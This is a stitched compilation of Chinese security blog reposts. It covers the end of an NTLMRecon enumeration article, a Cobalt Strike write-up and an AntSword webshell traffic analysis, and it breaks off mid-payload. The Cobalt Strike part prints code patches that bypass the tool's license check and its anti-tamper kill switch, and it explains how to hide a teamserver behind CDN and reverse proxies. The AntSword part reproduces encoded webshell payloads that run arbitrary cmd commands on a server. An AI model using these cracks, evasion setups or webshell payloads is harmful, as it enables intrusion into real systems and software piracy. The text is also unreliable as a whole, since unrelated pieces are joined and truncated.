$ ntlmrecon --input 192.168.1.1/24 --outfile ntlmrecon-ranges.csv

将目标侦察信息以输入文件的形式提供

NTLMRecon能够自动检测输入文件中每一行数据的类型,并自动将检测结果返回给用户。即使数据是从文本文件中读取出来的,该工具同样也能够自动识别并解析CIDR范围。

输入文件的内容样例如下:

mail.contoso.com

CONTOSOHOSTNAME

10.0.13.2/28

192.168.222.1/24

https://mail.contoso.com

如果你想将目标侦察信息以输入文件的形式提供给NTLMRecon,可以直接运行下列命令:

$ ntlmrecon --infile /path/to/input/file --outfile ntlmrecon-fromfile.csv

项目地址

NTLMRecon:【GitHub传送门

* 参考来源:sachinkamath,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:NTLMRecon:一款针对Web应用NTLM认证信息的枚举工具

Cobalt Strike折腾踩坑填坑记录

0X00 背景

最近在做渗透测试相关的工作,因工作需要准备用Cobalt Strike,老早都知道这款神器,早几年也看过官方的视频教程,但英文水平太渣当时很多都没听懂,出于各种原因后来也没怎么深入了解,所以一直都是处在大概了解的层面上。直到现在有需求了才开始研究,过程中体会也是蛮深,技术这东西真的不能只停留在知道和了解这个层面,就像学一门语言一样需要多动手去实践才能熟练运用的。

当然在深入研究某一门技术的过程中难免遇到各种各样的问题,一步一步解决这些问题才是真正学习的过程。对Cobalt strike的学习和研究中我也同样遇到很多的问题,幸得一些素不相识的师傅无私帮助,才解决掉所有的问题,这里把过程中一些问题和解决办法记录下来,以便以后查阅,同时也希望对刚接触Cobatl strike的朋友有所帮助。

0×01基础原理

基础使用和原理网上有大把的文章和教程,我这里只阐述我个人理解的几个基本点,先说stage和stager,在传统的远程控制类软件我们都是直接生成一个完整功能的客户端(其中包含了各种远控所需功能代码),比如灰鸽子(这里年龄已暴露),然后将客户端以各种方式上传至目标机器然后运行,运行后目标机器与我们控制端点对点的通讯。而Cobalt strike把这部分拆解为两部(stage和stager),stager是一个小程序,通常是手工优化的汇编指令,用于下载stage、把它注入内存中运行。stage则就是包含了很多功能的代码块,用于接受和执行我们控制端的任务并返回结果。stager通过各种方式(如http、dns、tcp等)下载stage并注入内存运行这个过程称为Payload Staging。同样Cobalt strike也提供了类似传统远控上线的方式,把功能打包好直接运行后便可以与teamserver通讯,这个称为Payload Stageless,生成Stageless的客户端可以在Attack->Package->Windows Executeable(s)下生成。这部分我也是在研究dns上线时候才算分清楚,这里需要感谢B0y1n4o4师傅的帮助

0×02 关于破戒

目前网上公布版本大多为官方试用版破戒而来且最高版为3.14(5月4号)版,我托朋找了一份3.14官方原版的来,原版的本身没有试用版那么多限制,破戒也相对容易,只需绕过license认证即可,这里在文件common/Authorization.class的构造函数中。

public Authorization() {
    String str = CommonUtils.canonicalize("cobaltstrike.auth");
    if (!(new File(str)).exists())
      try {
        File file = new File(getClass().getProtectionDomain().getCodeSource().getLocation().toURI());
        if (file.getName().toLowerCase().endsWith(".jar"))
          file = file.getParentFile(); 
        str = (new File(file, "cobaltstrike.auth")).getAbsolutePath();
      } catch (Exception exception) {
        MudgeSanity.logException("trouble locating auth file", exception, false);
      }  
    byte[] arrayOfByte1 = CommonUtils.readFile(str);
    if (arrayOfByte1.length == 0) {
      this.error = "Could not read " + str;
      return;
    } 
    AuthCrypto authCrypto = new AuthCrypto();
    byte[] arrayOfByte2 = authCrypto.decrypt(arrayOfByte1);
    if (arrayOfByte2.length == 0) {
      this.error = authCrypto.error();
      return;
    } 
    String[] arrayOfString = CommonUtils.toArray(CommonUtils.bString(arrayOfByte2));
    if (arrayOfString.length < 4) {
      this.error = "auth content is only " + arrayOfString.length + " items";
      return;
    } 
    this.licensekey = arrayOfString[0];
    if ("forever".equals(arrayOfString[1])) {
      this.validto = arrayOfString[1];
      MudgeSanity.systemDetail("valid to", "perpetual");
    } else {
      this.validto = "20" + arrayOfString[1];
      MudgeSanity.systemDetail("valid to", CommonUtils.formatDateAny("MMMMM d, YYYY", getExpirationDate()));
    } 
    this.watermark = CommonUtils.toNumber(arrayOfString[2], 0);
    this.valid = true;
    MudgeSanity.systemDetail("id", this.watermark + "");
  }

这里需要把该类的`watermark`、`licensekey`、`validto`、`valid `实例域手动设置即可,如下面代码

 public Authorization() {
    this.valid = true;
    this.validto = "forever";
    this.licensekey = "Cartier";
    this.watermark = 1;
    MudgeSanity.systemDetail("valid to", "perpetual");
    MudgeSanity.systemDetail("id", this.watermark + "");
  }

剩余下其他关于listener个数限制可以参考ssooking师傅的博客查看。

Exit暗桩

剩下的一个就是Cobalt strike作者留下的一个exit的暗桩问题,这里还是请教了ssooking师傅才知道,否则我这Java渣渣不知道要找到什么时候,这里再次对ssooking师傅的帮助表示感谢。

作者在程序里留了个验证jar文件完整性的功能,如果更改了jar包的文件 这个完整性就遭到破坏,作者会在目标上线30分钟后,在此以后添加的命令任务后门加一个exit的指令,目标的beacon就自动断开了,如下图。

Cobalt Strike折腾踩坑填坑记录

代码在`beacon/BeaconC2.class`

 protected boolean isPaddingRequired() {
    boolean bool = false;
    try {
      ZipFile zipFile = new ZipFile(this.appd);
      Enumeration<? extends ZipEntry> enumeration = zipFile.entries();
      while (enumeration.hasMoreElements()) {
        ZipEntry zipEntry = enumeration.nextElement();
        long l1 = CommonUtils.checksum8(zipEntry.getName());
        long l2 = zipEntry.getName().length();
        if (l1 == 75L && l2 == 21L) {
          if (zipEntry.getCrc() != 1661186542L && zipEntry.getCrc() != 1309838793L)
            bool = true; 
          continue;
        } 
        if (l1 == 144L && l2 == 20L) {
          if (zipEntry.getCrc() != 1701567278L && zipEntry.getCrc() != 3030496089L)
            bool = true; 
          continue;
        } 
        if (l1 == 62L && l2 == 26L && zipEntry.getCrc() != 2913634760L && zipEntry.getCrc() != 376142471L)
          bool = true; 
      } 
      zipFile.close();
    } catch (Throwable throwable) {}
    return bool;
  }
public BeaconC2(Profile paramProfile, BeaconData paramBeaconData, Resources paramResources) {
    this.c2profile = paramProfile;
    this.resources = paramResources;
    this.data = paramBeaconData;
    this.channel_http = new BeaconHTTP(paramProfile, this);
    this.channel_dns = new BeaconDNS(paramProfile, this);
    this.socks = new BeaconSocks(this);
    this.appd = getClass().getProtectionDomain().getCodeSource().getLocation().getPath();
    paramBeaconData.shouldPad(isPaddingRequired());	//这里调用BeaconData类的shouldPad
    this.parsers.add(new MimikatzCredentials(paramResources));
    this.parsers.add(new MimikatzSamDump(paramResources));
    this.parsers.add(new DcSyncCredentials(paramResources));
    this.parsers.add(new MimikatzDcSyncCSV(paramResources));
    this.parsers.add(new ScanResults(paramResources));
    this.parsers.add(new NetViewResults(paramResources));
  }

再看beacon/BeaconData.class

public void shouldPad(boolean paramBoolean) {
    this.shouldPad = paramBoolean;
    this.when = System.currentTimeMillis() + 1800000L;
  }
  
  public void task(String paramString, byte[] paramArrayOfbyte) {
    synchronized (this) {
      List<byte[]> list = getQueue(paramString);
      //这里判断文件完整性和beacon上线是否草果30分钟
      if (this.shouldPad && System.currentTimeMillis() > this.when) {
        CommandBuilder commandBuilder = new CommandBuilder();
        commandBuilder.setCommand(3);
        commandBuilder.addString(paramArrayOfbyte);
        list.add(commandBuilder.build());
      } else {
        list.add(paramArrayOfbyte);
      } 
      this.tasked.add(paramString);
    } 
  }

破戒方法是直接更改`shouldPad`方法中的`this.shouldPad = paramBoolean;`为`this.shouldPad = false;`

0×03 CDN+反代隐藏Teamserver

这部分原理参考垃圾桶师傅的文章([点这里]),这里帮垃圾桶师傅填一个他在文章中说遇到的坑。

Cobalt Strike折腾踩坑填坑记录

Cobalt Strike折腾踩坑填坑记录

这里垃圾桶师傅在添加Listener的时候Host填写的是CDN的地址,在使用powershell下载`stager`运行,`stager`再去下载`stage`的时候就是直接访问cdn的地址下载,但是`malleable profile`没有配置制定stager的行为,所以无法正常回源到teamserver下载,这里只需要在profile文件中配置`http-stager`模块,像http-get一样指定好Host即可从CDN访问到teamserver下载`stage`了。

Proxy

反向代理原理这里借用垃圾桶师傅的图,我就不具体再阐述,垃圾桶师傅已经讲得很明白。

Cobalt Strike折腾踩坑填坑记录

我使用的是Nginx做的反向代理,这里如果刚研究这个的朋友可能会遇到客户端上线后IP是Nginx服务器IP,走CDN的时候显为CDN节点IP的情况,这里有两个解决办法,先看看`server/ServerUtils.class`类中代码:

public static String getRemoteAddress(Profile paramProfile, Map paramMap) {
    boolean bool = paramProfile.option(".http-config.trust_x_forwarded_for");
    if (bool && paramMap.containsKey("X-Forwarded-For")) {
      String str1 = (String)paramMap.get("X-Forwarded-For");
      if (str1.indexOf(",") > -1) {
        str1 = CommonUtils.strrep(str1, " ", "");
        StringStack stringStack = new StringStack(str1, ",");
        str1 = stringStack.shift();
      } 
      if (CommonUtils.isIP(str1) || CommonUtils.isIPv6(str1))
        return str1; 
      CommonUtils.print_error("remote address '" + (String)paramMap.get("X-Forwarded-For") + "' in X-Forwarded-For header is not valid.");
    } 
    String str = (String)paramMap.get("REMOTE_ADDRESS");
    return "".equals(str) ? "" : str.substring(1);
  }
}

这里Cobatl Strike可以从`HttpHeader`中的`REMOTE_ADDRESS`和`X-Forwarded-For`中取得IP,我们要么在Nginx反向代理的时候设置`REMOTE_ADDRESS`值,要么在profile的配置文件中的`http-config`模块设置`trust_x_forwarded_for`值为`true`,这也是看了代码从知道有这个配置,英文渣渣表示很惭愧,官方写得很详细。

这里有个问题就是反向代理时候自定义`REMOTE_ADDRESS`时候往往无效,不知道具体啥情况,我之前在另外的机器上都有测试成功过。

0×04 DNS上线

一个未填的坑

这个坑是研究和使用Cobalt Strike来最大一个坑,至发文今日都没有解决。问题是出在使用DNS的listener不管是`beacon_dns/reverse_http`还是`beacon_dns/reverse_dns_txt`时候,若使用`staging`方式`stager`在下载`stage`注入到内存中的时候崩掉,如下图。

Cobalt Strike折腾踩坑填坑记录

而若使用`beacon_dns/reverse_http`时候,选用非纯dns模式就没问题,非纯dns模式状态下stager在下载stage时候使用http方式,stage只要成功下载注入内存后便可以mode改用dns方式来通讯了,要是有师傅知道怎么回事还赐教。

DNS Listener特性

最后经B0y1n4o4师傅指点,改用stageless方式上线就没有问题了。但是在使用dns上线的时候还需要注意个问题。在添加Listener的时候`beacon_dns/reverse_http`和`beacon_dns/reverst_dns_txt`都需要填写端口信息,如下图。

Cobalt Strike折腾踩坑填坑记录

如果端口使用80的情况下,上线之后的通讯优先使用http方式,若想用纯dns通讯的话就需要在上线之后首先使用`mode` 指令切换至dns、dns-txt或者dns6模式。添加listener自定一个非80的端口上线之后所以的通讯都将默认采用dns方式,且不能使用mode切换成http模式。

0×05 结语

以上均为我个人一些研究测试结论,有不到之处还请多多指正,Cobalt Strike确实是一个蛮强大的工具,还有很多内容和技术有待研究,本人也正在学习Java,争取早日通读内核代码。

*本文作者:Ca3tie1,转载请注明来自FreeBuf.COM

本文来源于互联网:Cobalt Strike折腾踩坑填坑记录

Antsword流量分析与还原

近期研究了一下各种的shell脚本,发现aspx脚本与php、jsp在执行上有很大的不同。在网上找了一些aspx脚本大多是需要post数据或者用各种工具连接然后执行命令,没有详细的关于其实如何进行命令执行的报告。随后查找资料发现总体上有两种方式,一个是调用已上传的cmd来执行,另一种是利用宿主的cmd来执行。为了方便研究,下载了antsword并截取分析还原了其与aspx脚本的通信数据,并利用python语言还原了过程,同样也可以用url直接request访问,下面是一些详细的过程。

实验环境

我使用的环境是antsword最新版,burpsuit,aspx环境,windows7操作系统,python3

环境搭建

环境搭建中注意把antsword的代理设置好就可以,如下图:

Antsword流量分析与还原burpsuit正常设置就可以。

流量分析

先是直接利用antsword连接我实验环境中的shell,发送几条指令,从burp中查看其中的通信数据。

执行dir:

Antsword流量分析与还原

执行whoami:

Antsword流量分析与还原其它的命令同理,就不一一截图了。把burp截取的数据进行分析(涉及我的环境部分数据略有删减),以dir和whoami命令为例:

dir:
Response.Write(%222f9f600c25%22)%3Bvar%20err%3AException%3Btry%7Beval(System.Text.Encoding.GetEncoding(%22UTF-8%22).GetString(System.Convert.FromBase64String(%22dmFyIGM9bmV3IFN5c3RlbS5EaWFnb**zdGljcy5Qc**jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsicjlhMzQyYWM4Y2Y3MWMiXSkpKTt2YXIgZT1uZXcgU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MoKTt2YXIgb3V0OlN5c3RlbS5JTy5TdHJlYW1SZWFkZXIsRUk6U3lzdGVtLklPLlN0cmVhbVJlYWRlcjtjLlVzZVNoZWxsRXhlY3V0ZT1mYWxzZTtjLlJlZGlyZWN0U3RhbmRhcmRPdXRwdXQ9dHJ1ZTtjLlJlZGlyZWN0U3RhbmRhcmRFcnJvcj10cnVlO2UuU3RhcnRJbmZvPWM7Yy5Bcmd1bWVudHM9Ii9jICIrU3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoIlVURi04IikuR2V0U3RyaW5nKFN5c3RlbS5Db252ZXJ0LkZyb21CYXNlNjRTdHJpbmcoUmVxdWVzdC5JdGVtWyJsOWJhYjAxYTNmOGY2MSJdKSk7aWYoUmVxdWVzdC5JdGVtWyJ4NThmYWMwNTEzNDg3YyJdKSB7dmFyIGVudnN0ciA9IFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsieDU4ZmFjMDUxMzQ4N2MiXSkpO3ZhciBlbnZhcnIgPSBlbnZzdHIuc3BsaXQoInx8fGFzbGluZXx8fCIpO3ZhciBpO2ZvciAodmFyIGkgaW4gZW52YXJyKSB7dmFyIHNzID0gZW52YXJyW2ldLnNwbGl0KCJ8fHxhc2tleXx8fCIpO2lmIChzcy5sZW5ndGggIT0gMikge2NvbnRpbnVlO31jLkVudmlyb25tZW50VmFyaWFibGVzLkFkZChzc1swXSxzc1sxXSk7fX1lLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVyc**yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkgKyBFSS5SZWFkVG9FbmQoKSk7%22))%2C%22unsafe%22)%3B%7Dcatch(err)%7BResponse.Write(%22ERROR%3A%2F%2F%20%22%2Berr.message)%3B%7DResponse.Write(%22ce497c0b5%22)%3BResponse.End()%3B&l9bab01a3f8f61=Y2QgL2QgIkM6XFxQc**nEV4Y2hhbmdlIFNlcnZlclxcVjE1XFxGc**udEVuZFxcSHR0cFByb3h5XFxvd2FcXGF1dGgiJmRpciZlY2hvIFtTXSZjZCZlY2hvIFtFXQ==&r9a342ac8cf71c=Y21k&x58fac0513487c=
whoami:
Response.Write(%22c270418f%22)%3Bvar%20err%3AException%3Btry%7Beval(System.Text.Encoding.GetEncoding(%22UTF-8%22).GetString(System.Convert.FromBase64String(%22dmFyIGM9bmV3IFN5c3RlbS5EaWFnb**zdGljcy5Qc**jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsicjlhMzQyYWM4Y2Y3MWMiXSkpKTt2YXIgZT1uZXcgU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MoKTt2YXIgb3V0OlN5c3RlbS5JTy5TdHJlYW1SZWFkZXIsRUk6U3lzdGVtLklPLlN0cmVhbVJlYWRlcjtjLlVzZVNoZWxsRXhlY3V0ZT1mYWxzZTtjLlJlZGlyZWN0U3RhbmRhcmRPdXRwdXQ9dHJ1ZTtjLlJlZGlyZWN0U3RhbmRhcmRFcnJvcj10cnVlO2UuU3RhcnRJbmZvPWM7Yy5Bcmd1bWVudHM9Ii9jICIrU3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoIlVURi04IikuR2V0U3RyaW5nKFN5c3RlbS5Db252ZXJ0LkZyb21CYXNlNjRTdHJpbmcoUmVxdWVzdC5JdGVtWyJsOWJhYjAxYTNmOGY2MSJdKSk7aWYoUmVxdWVzdC5JdGVtWyJ4NThmYWMwNTEzNDg3YyJdKSB7dmFyIGVudnN0ciA9IFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsieDU4ZmFjMDUxMzQ4N2MiXSkpO3ZhciBlbnZhcnIgPSBlbnZzdHIuc3BsaXQoInx8fGFzbGluZXx8fCIpO3ZhciBpO2ZvciAodmFyIGkgaW4gZW52YXJyKSB7dmFyIHNzID0gZW52YXJyW2ldLnNwbGl0KCJ8fHxhc2tleXx8fCIpO2lmIChzcy5sZW5ndGggIT0gMikge2NvbnRpbnVlO31jLkVudmlyb25tZW50VmFyaWFibGVzLkFkZChzc1swXSxzc1sxXSk7fX1lLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVyc**yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkgKyBFSS5SZWFkVG9FbmQoKSk7%22))%2C%22unsafe%22)%3B%7Dcatch(err)%7BResponse.Write(%22ERROR%3A%2F%2F%20%22%2Berr.message)%3B%7DResponse.Write(%223c7d051022e%22)%3BResponse.End()%3B&l9bab01a3f8f61=Y2QgL2QgIkM6XFxQc**ncmFtIEZpbGVzXFxNaWNyb3NvZnRcXEV4YE1XFxGc**udEVuZFxcSHRFcXGF1dGgiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D&r9a342ac8cf71c=Y21k&x58fac0513487c=

刚开始一看感觉数据全部都是编码,仔细看的可以发现主要是两种编码:url和base64

所以我们第一步把数据url解码(这里需要注意一点,数据后半部分并没有url编码,仍可以看到符号):

dir
Response.Write("2f9f600c25");var err:Exception;try{eval(System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnb**zdGljcy5Qc**jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsicjlhMzQyYWM4Y2Y3MWMiXSkpKTt2YXIgZT1uZXcgU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MoKTt2YXIgb3V0OlN5c3RlbS5JTy5TdHJlYW1SZWFkZXIsRUk6U3lzdGVtLklPLlN0cmVhbVJlYWRlcjtjLlVzZVNoZWxsRXhlY3V0ZT1mYWxzZTtjLlJlZGlyZWN0U3RhbmRhcmRPdXRwdXQ9dHJ1ZTtjLlJlZGlyZWN0U3RhbmRhcmRFcnJvcj10cnVlO2UuU3RhcnRJbmZvPWM7Yy5Bcmd1bWVudHM9Ii9jICIrU3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoIlVURi04IikuR2V0U3RyaW5nKFN5c3RlbS5Db252ZXJ0LkZyb21CYXNlNjRTdHJpbmcoUmVxdWVzdC5JdGVtWyJsOWJhYjAxYTNmOGY2MSJdKSk7aWYoUmVxdWVzdC5JdGVtWyJ4NThmYWMwNTEzNDg3YyJdKSB7dmFyIGVudnN0ciA9IFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsieDU4ZmFjMDUxMzQ4N2MiXSkpO3ZhciBlbnZhcnIgPSBlbnZzdHIuc3BsaXQoInx8fGFzbGluZXx8fCIpO3ZhciBpO2ZvciAodmFyIGkgaW4gZW52YXJyKSB7dmFyIHNzID0gZW52YXJyW2ldLnNwbGl0KCJ8fHxhc2tleXx8fCIpO2lmIChzcy5sZW5ndGggIT0gMikge2NvbnRpbnVlO31jLkVudmlyb25tZW50VmFyaWFibGVzLkFkZChzc1swXSxzc1sxXSk7fX1lLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVyc**yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkgKyBFSS5SZWFkVG9FbmQoKSk7")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("ce497c0b5");Response.End();&l9bab01a3f8f61=Y2QgL2QgIkM6XFxQc**nEV4Y2hhbmdlIFNlcnZlclxcVjE1XFxGc**udEVuZFxcSHR0cFByb3h5XFxvd2FcXGF1dGgiJmRpciZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D&r9a342ac8cf71c=Y21k&x58fac0513487c=
whoami
Response.Write("c270418f");var err:Exception;try{eval(System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnb**zdGljcy5Qc**jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsicjlhMzQyYWM4Y2Y3MWMiXSkpKTt2YXIgZT1uZXcgU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MoKTt2YXIgb3V0OlN5c3RlbS5JTy5TdHJlYW1SZWFkZXIsRUk6U3lzdGVtLklPLlN0cmVhbVJlYWRlcjtjLlVzZVNoZWxsRXhlY3V0ZT1mYWxzZTtjLlJlZGlyZWN0U3RhbmRhcmRPdXRwdXQ9dHJ1ZTtjLlJlZGlyZWN0U3RhbmRhcmRFcnJvcj10cnVlO2UuU3RhcnRJbmZvPWM7Yy5Bcmd1bWVudHM9Ii9jICIrU3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoIlVURi04IikuR2V0U3RyaW5nKFN5c3RlbS5Db252ZXJ0LkZyb21CYXNlNjRTdHJpbmcoUmVxdWVzdC5JdGVtWyJsOWJhYjAxYTNmOGY2MSJdKSk7aWYoUmVxdWVzdC5JdGVtWyJ4NThmYWMwNTEzNDg3YyJdKSB7dmFyIGVudnN0ciA9IFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsieDU4ZmFjMDUxMzQ4N2MiXSkpO3ZhciBlbnZhcnIgPSBlbnZzdHIuc3BsaXQoInx8fGFzbGluZXx8fCIpO3ZhciBpO2ZvciAodmFyIGkgaW4gZW52YXJyKSB7dmFyIHNzID0gZW52YXJyW2ldLnNwbGl0KCJ8fHxhc2tleXx8fCIpO2lmIChzcy5sZW5ndGggIT0gMikge2NvbnRpbnVlO31jLkVudmlyb25tZW50VmFyaWFibGVzLkFkZChzc1swXSxzc1sxXSk7fX1lLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVyc**yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkgKyBFSS5SZWFkVG9FbmQoKSk7")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("3c7d051022e");Response.End();&l9bab01a3f8f61=Y2QgL2QgIkM6XFxQc**ncmFtIEZpbGVzXFxNaWNyb3NvZnRcXEV4YE1XFxGc**udEVuZFxcSHRFcXGF1dGgiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D&r9a342ac8cf71c=Y21k&x58fac0513487c=

进一步可以看到第一行中的base64调用‘System.Text.Encoding.GetEncoding(“UTF-8″).GetString(System.Convert.FromBase64String’,可以对应的把字符串进行base64解码(只看解码的部分):

dir
var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["r9a342ac8cf71c"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["l9bab01a3f8f61"]));if(Request.Item["x58fac0513487c"]) {var envstr = System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["x58fac0513487c"]));var envarr = envstr.split("|||asline|||");var i;for (var i in envarr) {var ss = envarr[i].split("|||askey|||");if (ss.length != 2) {continue;}c.EnvironmentVariables.Add(ss[0],ss[1]);}}e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());
whoami
var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["r9a342ac8cf71c"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["l9bab01a3f8f61"]));if(Request.Item["x58fac0513487c"]) {var envstr = System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["x58fac0513487c"]));var envarr = envstr.split("|||asline|||");var i;for (var i in envarr) {var ss = envarr[i].split("|||askey|||");if (ss.length != 2) {continue;}c.EnvironmentVariables.Add(ss[0],ss[1]);}}e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());

对比之后发现,这两个部分完全相同,可以说这两段实现的功能一样。但是这是两条不同的命令,同时发现几处‘Request.Item’参数值,也就是说不同点应该在尾部的参数部分,继续分析数据的尾部:

dir
&l9bab01a3f8f61=Y2QgL2QgIkM6XFxQc**nEV4Y2hhbmdlIFNlcnZlclxcVjE1XFxGc**udEVuZFxcSHR0cFByb3h5XFxvd2FcXGF1dGgiJmRpciZlY2hvIFtTXSZjZCZlY2hvIFtFXQ==&r9a342ac8cf71c=Y21k&x58fac0513487c=
whoami
&l9bab01a3f8f61=Y2QgL2QgIkM6XFxQc**ncmFtIEZpbGVzXFxNaWNyb3NvZnRcXEV4YE1XFxGc**udEVuZFxcSHRFcXGF1dGgiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ==&r9a342ac8cf71c=Y21k&x58fac0513487c=

这里可以看到传参地址与数值,数值都是用base64编码过了,参数可以与前面的接收参数相对应,接着对其进行base64解码(示例数据已处理过):

Antsword流量分析与还原Antsword流量分析与还原可以看出命令在最后数据部分出现,所以还原时需要注意的部分就是最后参数的数值,涂黑部分为相同的shell路径。

还原过程分析

在分析过数据后可以初步了解通信数据的生成过程:

1、把shell路径和需要执行的命令进行base64编码(称之为payload1)

2、把payload1接在功能实现模块后,补齐其余参数部分生成payload2

3、对payload3进行url编码生成payload4

4、利用payload4对目标进行访问

但是发现利用python按此步骤还原会报错,我也是仔细有看了看数据才发现里面细节部分,就是我前面提到的部分数据没有进行最后的url编码。

再回到最初的数据:

dir:
Response.Write(%222f9f600c25%22)%3Bvar%20err%3AException%3Btry%7Beval(System.Text.Encoding.GetEncoding(%22UTF-8%22).GetString(System.Convert.FromBase64String(%22dmFyIGM9bmV3IFN5c3RlbS5EaWFnb**zdGljcy5Qc**jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsicjlhMzQyYWM4Y2Y3MWMiXSkpKTt2YXIgZT1uZXcgU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MoKTt2YXIgb3V0OlN5c3RlbS5JTy5TdHJlYW1SZWFkZXIsRUk6U3lzdGVtLklPLlN0cmVhbVJlYWRlcjtjLlVzZVNoZWxsRXhlY3V0ZT1mYWxzZTtjLlJlZGlyZWN0U3RhbmRhcmRPdXRwdXQ9dHJ1ZTtjLlJlZGlyZWN0U3RhbmRhcmRFcnJvcj10cnVlO2UuU3RhcnRJbmZvPWM7Yy5Bcmd1bWVudHM9Ii9jICIrU3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoIlVURi04IikuR2V0U3RyaW5nKFN5c3RlbS5Db252ZXJ0LkZyb21CYXNlNjRTdHJpbmcoUmVxdWVzdC5JdGVtWyJsOWJhYjAxYTNmOGY2MSJdKSk7aWYoUmVxdWVzdC5JdGVtWyJ4NThmYWMwNTEzNDg3YyJdKSB7dmFyIGVudnN0ciA9IFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsieDU4Z